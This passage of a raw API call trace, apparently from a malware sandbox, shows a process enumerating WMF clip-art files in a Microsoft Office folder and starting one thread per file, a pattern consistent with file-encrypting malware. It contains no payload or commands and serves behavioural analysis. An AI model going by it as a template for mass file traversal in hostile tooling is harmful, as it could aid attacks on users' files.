Office\\CLIPART\\PUB60COR\\FD00382_.WMF" [0152.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b4 [0152.826] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0152.826] wcscmp (_String1="FD00397_.WMF", _String2=".") returned 1 [0152.826] wcscmp (_String1="FD00397_.WMF", _String2="..") returned 1 [0152.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a920 [0152.826] wcscpy (in: _Dest=0x2050a920, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.826] wcscat (in: _Dest=0x2050a920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.826] wcscat (in: _Dest=0x2050a920, _Source="FD00397_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" [0152.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b0 [0152.827] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0152.827] wcscmp (_String1="FD00403_.WMF", _String2=".") returned 1 [0152.827] wcscmp (_String1="FD00403_.WMF", _String2="..") returned 1 [0152.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050ab60 [0152.827] wcscpy (in: _Dest=0x2050ab60, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.828] wcscat (in: _Dest=0x2050ab60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.828] wcscat (in: _Dest=0x2050ab60, _Source="FD00403_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" [0152.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ac [0152.829] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac00b100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac00b100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1 [0152.829] wcscmp (_String1="FD00414_.WMF", _String2=".") returned 1 [0152.829] wcscmp (_String1="FD00414_.WMF", _String2="..") returned 1 [0152.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a260 [0152.829] wcscpy (in: _Dest=0x2050a260, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.829] wcscat (in: _Dest=0x2050a260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.829] wcscat (in: _Dest=0x2050a260, _Source="FD00414_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" [0152.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a8 [0152.830] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaacf8400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaacf8400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1 [0152.830] wcscmp (_String1="FD00419_.WMF", _String2=".") returned 1 [0152.830] wcscmp (_String1="FD00419_.WMF", _String2="..") returned 1 [0152.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050ad10 [0152.830] wcscpy (in: _Dest=0x2050ad10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.830] wcscat (in: _Dest=0x2050ad10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.830] wcscat (in: _Dest=0x2050ad10, _Source="FD00419_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" [0152.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a4 [0152.831] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0152.831] wcscmp (_String1="FD00428_.WMF", _String2=".") returned 1 [0152.831] wcscmp (_String1="FD00428_.WMF", _String2="..") returned 1 [0152.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509de0 [0152.832] wcscpy (in: _Dest=0x20509de0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.832] wcscat (in: _Dest=0x20509de0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.832] wcscat (in: _Dest=0x20509de0, _Source="FD00428_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" [0152.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a0 [0152.833] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0152.833] wcscmp (_String1="FD00435_.WMF", _String2=".") returned 1 [0152.833] wcscmp (_String1="FD00435_.WMF", _String2="..") returned 1 [0152.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050aa40 [0152.833] wcscpy (in: _Dest=0x2050aa40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.833] wcscat (in: _Dest=0x2050aa40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.833] wcscat (in: _Dest=0x2050aa40, _Source="FD00435_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" [0152.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050aa40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1578 [0152.834] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0152.834] wcscmp (_String1="FD00438_.WMF", _String2=".") returned 1 [0152.834] wcscmp (_String1="FD00438_.WMF", _String2="..") returned 1 [0152.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050a770 [0152.835] wcscpy (in: _Dest=0x2050a770, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.835] wcscat (in: _Dest=0x2050a770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.835] wcscat (in: _Dest=0x2050a770, _Source="FD00438_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" [0152.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050a770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1998 [0152.837] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0152.837] wcscmp (_String1="FD00455_.WMF", _String2=".") returned 1 [0152.837] wcscmp (_String1="FD00455_.WMF", _String2="..") returned 1 [0152.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050ae30 [0152.837] wcscpy (in: _Dest=0x2050ae30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.838] wcscat (in: _Dest=0x2050ae30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.838] wcscat (in: _Dest=0x2050ae30, _Source="FD00455_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" [0152.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050ae30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198c [0152.839] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0152.839] wcscmp (_String1="FD00459_.WMF", _String2=".") returned 1 [0152.839] wcscmp (_String1="FD00459_.WMF", _String2="..") returned 1 [0152.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cc30 [0152.839] wcscpy (in: _Dest=0x1b85cc30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.839] wcscat (in: _Dest=0x1b85cc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.839] wcscat (in: _Dest=0x1b85cc30, _Source="FD00459_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" [0152.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1988 [0152.841] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2774900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2774900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1 [0152.841] wcscmp (_String1="FD00543_.WMF", _String2=".") returned 1 [0152.841] wcscmp (_String1="FD00543_.WMF", _String2="..") returned 1 [0152.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c570 [0152.841] wcscpy (in: _Dest=0x1b85c570, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.841] wcscat (in: _Dest=0x1b85c570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.841] wcscat (in: _Dest=0x1b85c570, _Source="FD00543_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" [0152.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1984 [0152.842] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d3100, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf50d3100, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1 [0152.842] wcscmp (_String1="FD00544_.WMF", _String2=".") returned 1 [0152.842] wcscmp (_String1="FD00544_.WMF", _String2="..") returned 1 [0152.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d020 [0152.842] wcscpy (in: _Dest=0x1b85d020, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.842] wcscat (in: _Dest=0x1b85d020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.842] wcscat (in: _Dest=0x1b85d020, _Source="FD00544_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" [0152.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1980 [0152.843] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0152.843] wcscmp (_String1="FD00564_.WMF", _String2=".") returned 1 [0152.843] wcscmp (_String1="FD00564_.WMF", _String2="..") returned 1 [0152.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c180 [0152.843] wcscpy (in: _Dest=0x1b85c180, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.844] wcscat (in: _Dest=0x1b85c180, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.844] wcscat (in: _Dest=0x1b85c180, _Source="FD00564_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" [0152.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x197c [0152.845] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0152.845] wcscmp (_String1="FD00586_.WMF", _String2=".") returned 1 [0152.845] wcscmp (_String1="FD00586_.WMF", _String2="..") returned 1 [0152.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cd50 [0152.845] wcscpy (in: _Dest=0x1b85cd50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.845] wcscat (in: _Dest=0x1b85cd50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.845] wcscat (in: _Dest=0x1b85cd50, _Source="FD00586_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" [0152.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1978 [0152.846] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0152.846] wcscmp (_String1="FD00775_.WMF", _String2=".") returned 1 [0152.846] wcscmp (_String1="FD00775_.WMF", _String2="..") returned 1 [0152.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c060 [0152.846] wcscpy (in: _Dest=0x1b85c060, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.846] wcscat (in: _Dest=0x1b85c060, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.846] wcscat (in: _Dest=0x1b85c060, _Source="FD00775_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" [0152.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1974 [0152.847] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0152.847] wcscmp (_String1="FD00779_.WMF", _String2=".") returned 1 [0152.847] wcscmp (_String1="FD00779_.WMF", _String2="..") returned 1 [0152.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c210 [0152.848] wcscpy (in: _Dest=0x1b85c210, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.848] wcscat (in: _Dest=0x1b85c210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.848] wcscat (in: _Dest=0x1b85c210, _Source="FD00779_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" [0152.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1754 [0152.849] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4adb300, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4adb300, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x3690, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00799_.WMF", cAlternateFileName="")) returned 1 [0152.849] wcscmp 